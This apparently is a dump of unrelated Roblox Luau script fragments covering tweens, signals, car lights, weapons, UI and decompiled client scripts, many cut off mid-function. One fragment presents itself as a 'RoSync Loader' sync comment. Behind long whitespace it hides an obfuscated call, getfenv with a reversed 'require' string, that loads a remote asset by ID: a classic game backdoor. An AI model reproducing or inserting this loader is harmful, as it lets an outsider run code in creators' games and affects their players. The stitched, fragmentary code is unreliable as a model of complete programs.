Roblox/luau_corpus huggingface dataset:
--[=[
	Sets the current and target position, and sets the velocity to 0.
	@prop pt number
	@within AccelTween
]=]

function AccelTween:__index(index)
	if AccelTween[index] then
		return AccelTween[index]
	elseif index == "p" then
		local pos, _ = self:_getstate(os.clock())
		return pos
	elseif index == "v" then
		local _, vel = self:_getstate(os.clock())
		return vel
	elseif index == "a" then
		return self._accel
	elseif index == "t" then
		return self._y1
	elseif index == "rtime" then
		local time = os.clock()
		return time < self._t1 and self._t1 - time or 0
	else
		error(("Bad index %q"):format(tostring(index)))
	end
end

function AccelTween:__newindex(index, value)
	if index == "p" then
		self:_setstate(value, nil, nil, nil)
	elseif index == "v" then
		self:_setstate(nil, value, nil, nil)
	elseif index == "a" then
		self:_setstate(nil, nil, value, nil)
	elseif index == "t" then
		self:_setstate(nil, nil, nil, value)
	elseif index == "pt" then
		self:_setstate(value, 0, nil, value)
	else
		error(("Bad index %q"):format(tostring(index)))
	end
end

function AccelTween:_getstate(time)
	if time < (self._t0 + self._t1)/2 then
		local t = time - self._t0
		return self._y0 + t*t/2*self._a0, t*self._a0
	elseif time < self._t1 then
		local t = time - self._t1
		return self._y1 + t*t/2*self._a1, t*self._a1
	else
		return self._y1, 0
	end
end

function AccelTween:_setstate(newpos, newvel, newaccel, newtarg)
	local time = os.clock()
	local pos, vel = self:_getstate(time)
	pos = newpos or pos
	vel = newvel or vel
	self._accel = newaccel or self._accel
	local targ = newtarg or self._y1

	if self._accel*self._accel < 1e-8 then
		self._t0, self._y0, self._a0 = 0, pos, 0
		self._t1, self._y1, self._a1 = math.huge, targ, 0
	else
		local conda = targ < pos
		local condb = vel < 0
		local condc = pos - vel*vel/(2*self._accel) < targ
		local condd = pos + vel*vel/(2*self._accel) < targ
		if conda and condb and condc or not conda and (condb or not condb and condd) then
			self._a0 = self._accel
			self._t1 = time + ((2*vel*vel + 4*self._accel*(targ - pos))^0.5 - vel)/self._accel
		else
			self._a0 = -self._accel
			self._t1 = time + ((2*vel*vel - 4*self._accel*(targ - pos))^0.5 + vel)/self._accel
		end
		self._t0 = time - vel/self._a0
		self._y0 = pos - vel*vel/(2*self._a0)
		self._y1 = targ
		self._a1 = -self._a0
	end
end

return AccelTween
-- METHODS
function Signal:Fire(...)
	self._bindableEvent:Fire(...)
end

function Signal:Connect(handler)
	if not (type(handler) == "function") then
		error(("connect(%s)"):format(typeof(handler)), 2)
	end
	
	local connection = self._bindableEvent.Event:Connect(function(...)
		handler(...)
	end)
	
	-- If ``true`` is passed for trackConnectionsChanged within the constructor this will track the amount of active connections
	if self.connectionsChanged then
		self.totalConnections += 1
		self.connectionsChanged:Fire(1)
		local heartbeatConection
		heartbeatConection = game:GetService("RunService").Heartbeat:Connect(function()
			if connection.Connected == false then
				heartbeatConection:Disconnect()
				if self.connectionsChanged then
					self.totalConnections -= 1
					self.connectionsChanged:Fire(-1)
				end
			end
		end)
	end

	return connection
end

function Signal:Wait()
	local args = self._bindableEvent.Event:Wait()
	return unpack(args)
end

function Signal:Destroy()
	if self._bindableEvent then
		self._bindableEvent:Destroy()
		self._bindableEvent = nil
	end
	if self.connectionsChanged then
		self.connectionsChanged:Fire(-self.totalConnections)
		self.connectionsChanged:Destroy()
		self.connectionsChanged = nil
		self.totalConnections = 0
	end
end
Signal.destroy = Signal.Destroy
Signal.Disconnect = Signal.Destroy
Signal.disconnect = Signal.Destroy



return Signal
--[=[
	Apply an inverse square intensity multiplier to the given vector based on the
	distance away from some source. This can be used to simulate shake intensity
	based on the distance the shake is occurring from some source.

	For instance, if the shake is caused by an explosion in the game, the shake
	can be calculated as such:

	```lua
	local function Explosion(positionOfExplosion: Vector3)

		local cam = workspace.CurrentCamera
		local renderPriority = Enum.RenderPriority.Last.Value

		local shake = Shake.new()
		-- Set shake properties here

		local function ExplosionShake(pos: Vector3, rot: Vector3)
			local distance = (cam.CFrame.Position - positionOfExplosion).Magnitude
			pos = Shake.InverseSquare(pos, distance)
			rot = Shake.InverseSquare(rot, distance)
			cam.CFrame *= CFrame.new(pos) * CFrame.Angles(rot.X, rot.Y, rot.Z)
		end

		shake:BindToRenderStep("ExplosionShake", renderPriority, ExplosionShake)

	end
	```
]=]
function Shake.InverseSquare(shake: Vector3, distance: number): Vector3
	if distance < 1 then
		distance = 1
	end
	local intensity = 1 / (distance * distance)
	return shake * intensity
end
--// NPC


local NPCS = game.Workspace:WaitForChild("NPCS")
-- Decompiled with the Synapse X Luau decompiler.

local l__LocalPlayer__1 = game.Players.LocalPlayer;
local l__Character__2 = l__LocalPlayer__1.Character;
local l__Gas__3 = l__LocalPlayer__1:WaitForChild("Data"):WaitForChild("Gas");
local l__Gas__4 = workspace:WaitForChild("Gas");
ts = game:GetService("TweenService");
ti2 = TweenInfo.new(3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out, 0, false, 0);
while wait(0.4) do
	for v5, v6 in pairs(l__Gas__4:GetDescendants()) do
		if v6.ClassName == "Part" then
			v6.Transparency = 1;
			local v7 = false;
			for v8, v9 in pairs((workspace:FindPartsInRegion3WithWhiteList(Region3.new(v6.Position - v6.Size / 2, v6.Position + v6.Size / 2), game.Players.LocalPlayer.Character:GetDescendants()))) do
				if not v9:FindFirstAncestor(game.Players.LocalPlayer.Name) then
					v7 = false;
					break;
				end;
				v7 = true;
			end;
			if v7 == true and l__Character__2.Human.Value == true then
				l__Gas__3.Value = l__Gas__3.Value - 0.1;
			end;
		end;
	end;
end;
--Made by Luckymaxer

Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
ContentProvider = game:GetService("ContentProvider")

Animations = {}

ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")

ClientControl.OnClientInvoke = (function(Mode, Value)
	if Mode == "PlayAnimation" and Humanoid then
		for i, v in pairs(Animations) do
			if v.Animation == Value.Animation then
				v.AnimationTrack:Stop()
				table.remove(Animations, i)
			end
		end
		local AnimationTrack = Humanoid:LoadAnimation(Value.Animation)
		table.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack})
		AnimationTrack:Play(Value.FadeTime, Value.Weight, Value.Speed)
	elseif Mode == "StopAnimation" and Value then
		for i, v in pairs(Animations) do
			if v.Animation == Value.Animation then
				v.AnimationTrack:Stop()
				table.remove(Animations, i)
			end
		end
	elseif Mode == "Preload" and Value then
		ContentProvider:Preload(Value)
	elseif Mode == "PlaySound" and Value then
		Value:Play()
	elseif Mode == "StopSound" and Value then
		Value:Stop()
	elseif Mode == "MousePosition" then
		return PlayerMouse.Hit.p
	end
end)

function InvokeServer(Mode, Value)
	pcall(function()
		local ServerReturn = ServerControl:InvokeServer(Mode, Value)
		return ServerReturn
	end)
end

function CheckIfAlive()
	return (Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0)
end

function Equipped(Mouse)
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChild("Humanoid")
	if not CheckIfAlive() then
		return
	end
	PlayerMouse = Player:GetMouse()
	Mouse.Button1Down:connect(function()
		InvokeServer("MouseClick", {Down = true})
	end)
	Mouse.Button1Up:connect(function()
		InvokeServer("MouseClick", {Down = false})
	end)
	Mouse.KeyDown:connect(function(Key)
		InvokeServer("KeyPress", {Key = Key, Down = true})
	end)
	Mouse.KeyUp:connect(function(Key)
		InvokeServer("KeyPress", {Key = Key, Down = false})
	end)
end

function Unequipped()
	for i, v in pairs(Animations) do
		if v and v.AnimationTrack then
			v.AnimationTrack:Stop()
		end
	end
	Animations = {}
end

Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
-- ROBLOX deviation START: No Luau support for numeric literal types
-- export type EventPriority = 0 | 1 | 2;
export type EventPriority = number
---
if 	script.Parent.Parent.Parent.IsOn.Value then
	script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,2,true)
end

script.Parent.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.Parent.IsOn.Value then
		script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,2,true)
	end
end)
	
	
	function turn()
		if hinge.DesiredAngle == 0 then
			
			car.Misc.Wiper2.WiperEvent:FireServer(1)
		else
			
			car.Misc.Wiper2.WiperEvent:FireServer(0)
		end
	end
	
	script.Parent.MouseButton1Click:connect(function()
		turn()
	end)
	
	local uis = game:GetService("UserInputService")
	uis.InputBegan:connect(function(i,f)
		if not f then
			if i.KeyCode == Enum.KeyCode.N then
				turn()
			end
		end
	end)
--!strict

local RunService = game:GetService("RunService")

local model = script.Parent
local cloth = model:FindFirstChild("Plane")

local physicsParts = model:WaitForChild("Parts")
local A4P = physicsParts:FindFirstChild("A4")

local bones : {Bone} = {}

local function indexBones()
	for iterator, bone : Bone in cloth:GetDescendants() do
		if bone:IsA("Bone") then
			table.insert(bones, bone)
		end
		if iterator%50 == 0 then
			task.wait()
		end
	end
end
indexBones()
-- declarations

local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
Humanoid.Health=200
-- << FUNCTIONS >>
function module:SetupDonorCommands()
	main:GetModule("PageCommands"):SetupCommands(donorCommands, pages.donor, 0)
	module:UpdateDonorFrame()
end

function module:UpdateDonorFrame()
	if main.pdata.Donor then
		unlockDonor.Visible = false
	else
		unlockDonor.Visible = true
	end
	pages.donor.CanvasSize = UDim2.new(0, 0, 0, (finalLabel.AbsolutePosition.Y - firstLabel.AbsolutePosition.Y) + finalLabel.AbsoluteSize.Y*1)
end



return module
-- Testing AC FE support

local event = script.Parent
local car=script.Parent.Parent
local LichtNum = 0


event.OnServerEvent:connect(function(player,data)
	if data['ToggleLight'] then
		if car.Body.Light.on.Value==true then
			car.Body.Light.on.Value=false
		else
			car.Body.Light.on.Value=true
		end
	elseif data['EnableBrakes'] then
		car.Body.Brakes.on.Value=true
	elseif data['DisableBrakes'] then
		car.Body.Brakes.on.Value=false
	elseif data['ToggleLeftBlink'] then
		if car.Body.Left.on.Value==true then
			car.Body.Left.on.Value=false
		else
			car.Body.Left.on.Value=true
		end
	elseif data['ToggleRightBlink'] then
		if car.Body.Right.on.Value==true then
			car.Body.Right.on.Value=false
		else
			car.Body.Right.on.Value=true
		end
	elseif data['ReverseOn'] then
		car.Body.Reverse.on.Value=true
	elseif data['ReverseOff'] then
		car.Body.Reverse.on.Value=false
	elseif data['ToggleStandlicht'] then
		if LichtNum == 0 then
			LichtNum = 2
			car.Body.Headlight.on.Value = true
		elseif LichtNum == 1 then
			LichtNum = 2
			car.Body.Headlight.on.Value = true
		elseif LichtNum == 2 then
			LichtNum = 3
			car.Body.Highlight.on.Value = true
		elseif LichtNum == 3 then
			LichtNum = 1
			car.Body.Highlight.on.Value = false
			car.Body.Headlight.on.Value = false
		end
	elseif data["ToggleHazards"] then
		if car.Body.hazards.Value == false then
			car.Body.hazards.Value = true
			wait(.35)
			car.Body.Left.on.Value=false
			car.Body.Right.on.Value=false
			wait(.35)
			car.Body.Left.on.Value=true
			car.Body.Right.on.Value=true	
		elseif car.Body.hazards.Value == true then
			car.Body.hazards.Value = false
			car.Body.Left.on.Value=false
			car.Body.Right.on.Value=false
		end
	end
end)
-----------------
--| Constants |--
-----------------

local SHOT_SPEED = 550
local SHOT_TIME = 0.6

local NOZZLE_OFFSET = Vector3.new(0, 0.4, -1.1)

local DEBOUNCE_TAG_NAME = 'Busy'
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 3 -- cooldown for use of the tool again

ZoneModelName = "TS Spin bone" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Reference to the SearchBox TextBox
local searchBox = script.Parent.Parent.Parent.AppManager.Clippify.SearchBox
--[[
	Package link auto-generated by Rotriever
]]
local PackageIndex = script.Parent._Index

local Package = require(PackageIndex["SoundPlayer"]["SoundPlayer"])

return Package
-- detect if they lock first person mode during a live game
local playerchanged_con = nil
playerchanged_con = player.Changed:Connect(function(property)
	if property == "CameraMaxZoomDistance" or property == "CameraMode" then
		if player.CameraMaxZoomDistance <= 0.5 or player.CameraMode == Enum.CameraMode.LockFirstPerson then
			enableviewmodel()
		end
	end
end)
--!optimize 2

local ReplicatedFirst = game:GetService('ReplicatedFirst')
local TeleportService = game:GetService("TeleportService")

ReplicatedFirst:RemoveDefaultLoadingScreen()
TeleportService:SetTeleportGui(Instance.new('ScreenGui'))
---- STATE MODIFICATION ----

function ActiveCastStatic:Pause()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Pause", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	self.StateInfo.Paused = true
end

function ActiveCastStatic:Resume()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Resume", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	self.StateInfo.Paused = false
end

function ActiveCastStatic:Terminate()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Terminate", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	
	-- First: Set EndTime on the latest trajectory since it is now done simulating.
	local trajectories = self.StateInfo.Trajectories
	local lastTrajectory = trajectories[#trajectories]
	lastTrajectory.EndTime = self.StateInfo.TotalRuntime
	
	-- Disconnect the update connection.
	self.StateInfo.UpdateConnection:Disconnect()
	
	-- Now fire CastTerminating
	self.Caster.CastTerminating:FireSync(self)
	
	-- And now set the update connection object to nil.
	self.StateInfo.UpdateConnection = nil
	
	-- And nuke everything in the table + clear the metatable.
	self.Caster = nil
	self.StateInfo = nil
	self.RayInfo = nil
	self.UserData = nil
	setmetatable(self, nil)
end

return ActiveCastStatic
--[=[
	@prop Util Folder
	@within KnitServer
	@readonly
	References the Util folder. Should only be accessed when using Knit as
	a standalone module. If using Knit from Wally, modules should just be
	pulled in via Wally instead of relying on Knit's Util folder, as this
	folder only contains what is necessary for Knit to run in Wally mode.
]=]
KnitServer.Util = script.Parent.Parent

local SIGNAL_MARKER = newproxy(true)
getmetatable(SIGNAL_MARKER).__tostring = function()
	return "SIGNAL_MARKER"
end

local PROPERTY_MARKER = newproxy(true)
getmetatable(PROPERTY_MARKER).__tostring = function()
	return "PROPERTY_MARKER"
end

local knitRepServiceFolder = Instance.new("Folder")
knitRepServiceFolder.Name = "Services"

local Promise = require(KnitServer.Util.Promise)
local Comm = require(KnitServer.Util.Comm)
local ServerComm = Comm.ServerComm

local services: {[string]: Service} = {}
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")


local function DoesServiceExist(serviceName: string): boolean
	local service: Service? = services[serviceName]
	return service ~= nil
end
-- Game Services
local Configurations = require(game.ServerStorage.Configurations)
local DisplayManager = require(script.Parent.DisplayManager)
--[[ Last synced 11/11/2020 02:29                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--

local uisBinds = {};
local uisBinds_mt = {__index = uisBinds};

function uisBinds.new()
	local self = {};
	
	self.connections = {};
	
	return setmetatable(self, uisBinds_mt);
end
-----------------
--| Constants |--
-----------------

local BLAST_RADIUS = 25 -- Blast radius of the explosion
local BLAST_DAMAGE = 9999999999999999999999999999999999999999999999999999999999999999999999999999 -- Amount of damage done to humanoids
local BLAST_FORCE = 5000 -- Amount of force applied to parts
local UNANCHOR_PARTS = true -- If set to true, explosions will unanchor anchored parts
local IGNITE_PARTS = true -- If set to true, parts will be set on fire (fire does not do anything)
local SPECIAL_EFFECTS = true -- If set to true, parts hit by a rocket will have a special effect
local BREAK_JOINTS = true -- If set to true, explosions will break joints

local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these
--// Adonis Client Loader (Non-ReplicatedFirst Version)

local DebugMode = false;

local wait = wait;
local time = time;
local pcall = pcall;
local xpcall = xpcall;
local setfenv = setfenv;
local tostring = tostring;
-- Define the function to open or close the window with gene-alike effect
local function toggleWindow(icon)
	local windowName = icon.Name

	-- Find the corresponding frame in the AppManager using the window name
	local window = appManager:FindFirstChild(windowName)
	if window then
		if window.Visible == false then
			-- Close other windows
			for _, child in ipairs(appManager:GetChildren()) do
				if child:IsA("Frame") and child.Visible then
					child.Visible = false
				end
			end

			dockShelf.Visible = false
			wallShelf.Visible = false

			-- Set the initial position of the window to be relative to the button
			window.Position = UDim2.new(0.319, 0, 0.331, 0)

			-- Set the initial size of the window to be zero
			window.Size = UDim2.new(0, 100, 0, 100)

			-- Show the window and tween its position and size
			window.Visible = true

			-- Determine the tween speed based on the uiSpeedSetting
			local tweenSpeed = ClipSettings.settings.uiSpeedSetting and uiSpeedUser.Value or ClipSettings.uiSpeed

			-- Create a new tween with the appropriate tweenSpeed
			local tweenInfo = TweenInfo.new(tweenSpeed, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
			TweenService:Create(window, tweenInfo, {Position = UDim2.new(-0.007, 0, 0, 0), Size = UDim2.new(1.007, 0, 1, 0)}):Play()
		end
	end
end
--[[
	Merges dictionary-like tables together.
]]
function Immutable.JoinDictionaries(...)
	local result = {}

	for i = 1, select("#", ...) do
		local dictionary = select(i, ...)
		for key, value in pairs(dictionary) do
			result[key] = value
		end
	end

	return result
end
--//Controller//--
while true do
	task.wait(Configuration.DelayTime.Value)
	
	local RandomSong = Songs[math.random(1, #Songs)]
	
	CurrentSong.SoundId = RandomSong.SoundId
	
	NameText.Text = "Currently playing: "..RandomSong.Name
	
	CurrentSong:Play()
	
	task.wait(RandomSong.TimeLength)
end
-- Don't mess with anything in the script. The constants and variables are all mixed together

local Type = 0		-- Manipulated by GUI	(0 = 12 hr, 1 = 24 hr)
local Sec = true	-- Manipulated by GUI

local year = 1970
local month = 1
local day = 1
local Date = "January 1, 1970"

local hour = 0
local min = 0
local sec = 0
local tag = "AM"
local Time = "12:00 AM"

function getDate()
	local months = {
-- Initialize decorate tool
local DecorateTool = require(CoreTools:WaitForChild 'Decorate')
Core.AssignHotkey('P', Core.Support.Call(Core.EquipTool, DecorateTool));
Core.Dock.AddToolButton(Core.Assets.DecorateIcon, 'P', DecorateTool, 'DecorateInfo');

return Core
-- Decompiled with Visenya | https://targaryentech.com
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt = 0
local redline = 0
script:WaitForChild("Rev")
for i, v in pairs(car.DriveSeat:GetChildren()) do
  for _, a in pairs(script:GetChildren()) do
    if v.Name == a.Name then
      v:Stop()
      wait()
      v:Destroy()
    end
  end
end
handler:FireServer("newSound", "Rev", car.DriveSeat, script.Rev.SoundId, 0, script.Rev.Volume, true)
handler:FireServer("playSound", "Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
  local _RPM = script.Parent.Values.RPM.Value
  if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle / 100 then
    throt = math.max(0.3, throt - 0.2)
  else
    throt = math.min(1, throt + 0.1)
  end
  if script.Parent.Values.RPM.Value > _Tune.Redline - _Tune.RevBounce / 4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle / 100 then
    redline = 0.5
  else
    redline = 1
  end
  if not script.Parent.IsOn.Value then
    on = math.max(on - 0.015, 0)
  else
    on = 1
  end
  local Pitch = math.max((script.Rev.SetPitch.Value + script.Rev.SetRev.Value * _RPM / _Tune.Redline) * on ^ 2, script.Rev.SetPitch.Value)
  if FE then
    handler:FireServer("updateSound", "Rev", script.Rev.SoundId, Pitch, script.Rev.Volume)
  else
    car.DriveSeat.Rev.Pitch = Pitch
  end
end
--{0.976, 0},{, 0}

UIS.InputEnded:connect(function(key, gameProcessed)

	if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then

		character.Humanoid.WalkSpeed = NormalWalkSpeed

		sprinting = false

		while power < 10 and not sprinting do

			power = power + .03

			Bar:TweenSize(UDim2.new(power / 10.25, 0, .78, 0), 'Out', 'Quint', .1, true)

			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001)

			wait()

			if power <= 0 then

				character.Humanoid.WalkSpeed = NormalWalkSpeed

			end

		end

	end

end)